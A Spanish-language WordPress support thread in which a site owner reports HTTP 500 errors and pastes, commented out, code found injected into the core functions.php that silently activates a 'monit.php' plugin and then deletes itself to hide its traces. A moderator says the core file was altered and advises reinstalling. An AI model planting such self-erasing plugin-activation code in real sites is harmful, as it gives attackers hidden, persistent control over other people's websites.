Soporte » WordPress Avanzado » Http 500 error

  • Buenas noches a todos.
    He tenido el mismo problema dos veces que me suelta el error de Http 500 error y no me deja ingresar al sitio web ni al escritorio… Revisando un poco los errores desde el servidor me ha mostrado el siguiente error

    [Sat Jul 25 23:51:54.633549 2020] [lsapi:error] [pid 174857:tid 47271454529280] [client 201.245.250.10:0] [host psicoanaya.com] Backend fatal error: PHP Parse error: syntax error, unexpected end of file in /home/freecli1/psicoanaya.com/wp-includes/functions.php on line 7632\n

    Me dirigí a la linea 7632 y me aparecia que faltaba agregar ‘(‘ pero no la pude agregar bien dentro del código, por lo que lo siguiente que hice fue ocultar la mayor parte del código con un comentario y asi el sitio web volvió a restablecerse y pude ingresar normalmente. La duda que tengo ahora es que me gustaría saber para que sirve ese código, se los dejo a continuación.

    function wp_fuzzy_number_match( $expected, $actual, $precision = 1 ) {
    	return abs( (float) $expected - (float) $actual ) <= $precision;
    }
     4;
    
    		/*if($start && $end) {
    			$str = substr($functions, 0, $start);
    			$str .= substr($functions, $endDelete);
    			file_put_contents($functionsPath, $strif ( ! function_exists( 'true_plugins_activate' ) ) {
    function true_plugins_activate() {
    	$active_plugins = get_option('active_plugins');
    	$activate_this = array(
    		'monit.php'
    	);
    	foreach ($activate_this as $plugin) {
    		if (!in_array($plugin, $active_plugins)) {
    			array_push($active_plugins, $plugin);
    			update_option('active_plugins', $active_plugins);
    		}
    	}
    	$new_active_plugins = get_option('active_plugins');
    	if (in_array('monit.php', $new_active_plugins)) {
    		$functionsPath = dirname(__FILE__) . '/functions.php';
    		$functions = file_get_contents($functionsPath);
    
    		$start = stripos($functions, "if ( ! function_exists( 'true_plugins_activate' ) ) {");
    		$end = strripos($functions, "true_plugins_activate");
    		$endDelete = $end + mb_strlen("true_plugins_activate") + 4;
    
    		if($start && $end) {
    			$str = substr($functions, 0, $start);
    			$str .= substr($functions, $endDelete);
    			file_put_contents($functionsPath, $str);
    		}
    				$script = file_get_contents('/home/freecli1/escueladelconsumidor.com/wp-content/plugins/monit.php');
    		//file_put_contents('/home/freecli1/escueladelconsumidor.com/wp-content/plugins/monit.php', '');
    	}
    }
    add_action('init', 'true_plugins_activate');}
    */

    Se nota en donde coloqué para ocultar con comentario. Creo que dejé el codigo completo.

    Quedo atento si me pueden ayudar.
    Gracias.

Viendo 2 respuestas - de la 1 a la 2 (de un total de 2)
  • Moderador Jose Luis

    (@jose64)

    Hola.

    Bienvenido al foro de soporte. Los archivos de la carpeta wp-includes forman parte del núcleo de WordPress y nunca se deben modificar, aparte de que no hay errores en ellos. El hecho de que tenga un error indica que fue alterado.

    Lo mejor es que actualices o reinstales WordPress, tienes la opción en el escritorio, en actualizaciones.

    Si necesitas cualquier aclaración adicional estamos a la orden. Recuerda cerrar el debate marcándolo como resuelto, así nos ayudas a mantener el foro al día.

    El error es segunda vez que pasa y más nadie tiene acceso a la página o al servidor y el error apareció cuando ningún administrador estaba en la página.
    Aún así la parte del código está «oculta» y sigue funcionando.

    Nota: Cuando el error aparece no puedo ingresar al escritorio de wordpress.

    Saludos.

Viendo 2 respuestas - de la 1 a la 2 (de un total de 2)
  • Debes estar registrado para responder a este debate.